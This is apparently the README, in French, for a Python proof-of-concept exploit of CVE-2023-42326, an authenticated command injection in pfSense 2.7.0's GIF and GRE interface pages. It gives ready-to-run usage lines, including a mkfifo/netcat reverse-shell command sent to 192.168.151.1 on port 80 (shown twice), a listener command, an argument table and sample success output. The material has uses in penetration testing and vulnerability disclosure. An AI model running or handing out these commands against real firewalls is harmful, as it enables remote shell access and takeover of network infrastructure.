
Ceci est un simple POC pour montrer la vulnérabilité d'injection de commande dans pfsense 2.7 (CVE-2023-42326)
Ce script Python est une preuve de concept (PoC) exploitant la vulnérabilité d'injection de commandes (CVE-2023-42326) dans pfSense 2.7.0. La vulnérabilité permet à des attaquants authentifiés d'injecter et d'exécuter des commandes arbitraires via les composants interfaces_gif_edit.php et interfaces_gre_edit.php.
gif ou gre) pour choisir les composants vulnérables.Avant d'exécuter le script, assurez-vous d'avoir :
pip install requests beautifulsoup4 rich
Cette commande injecte une commande shell qui crée un reverse shell vers votre machine :
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
-u : Nom d'utilisateur pour la connexion admin pfSense.-p : Mot de passe pour la connexion admin pfSense.--mode : Mode d'exploit (gif ou gre).-t : URL cible de pfSense.-c : La commande shell à injecter.-d : (Facultatif) Active le mode débogage pour voir les données de réponse brutes.Assurez-vous d'avoir un listener Netcat en cours d'exécution sur votre machine :
nc -lvnp 80
Ensuite, exécutez le script avec une commande de reverse shell comme celle-ci :
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &" --insecure(for https without valid ssl)
Connexion à pfSense et exploitation de l'interface GIF

Exécution d'un reverse shell

Lorsque l'exploit s'exécute avec succès, vous devriez voir une sortie similaire à celle-ci :
██████╗ ███████╗██████╗ ██╗ ██╗███╗ ██╗███╗ ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║ ██║████╗ ██║████╗ ████║██╔════╝
██████╔╝█████╗ ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗
██╔═══╝ ██╔══╝ ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝
██║ ██║ ██║ ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
Done with ❤️ by @bl4ckarch
[2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
[2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
[2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully
Si vous souhaitez voir plus de détails sur les requêtes envoyées, vous pouvez activer le mode débogage en ajoutant -d à votre commande. Cela affichera les données de réponse et vous aidera à résoudre les éventuels problèmes.
python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)
-d pour une journalisation plus détaillée si nécessaire.| Argument | Description |
|---|
-u | Nom d'utilisateur pour la connexion admin pfSense. |
-p | Mot de passe pour la connexion admin pfSense. |
-t | URL/adresse IP cible de pfSense (ex. : http://10.101.1.1). |
--mode | Mode d'exploit : gif (pour interfaces_gif_edit.php) ou gre. |
-c | Commande à injecter dans le composant vulnérable. |
-d | Facultatif. Active le mode débogage pour afficher les données de réponse. |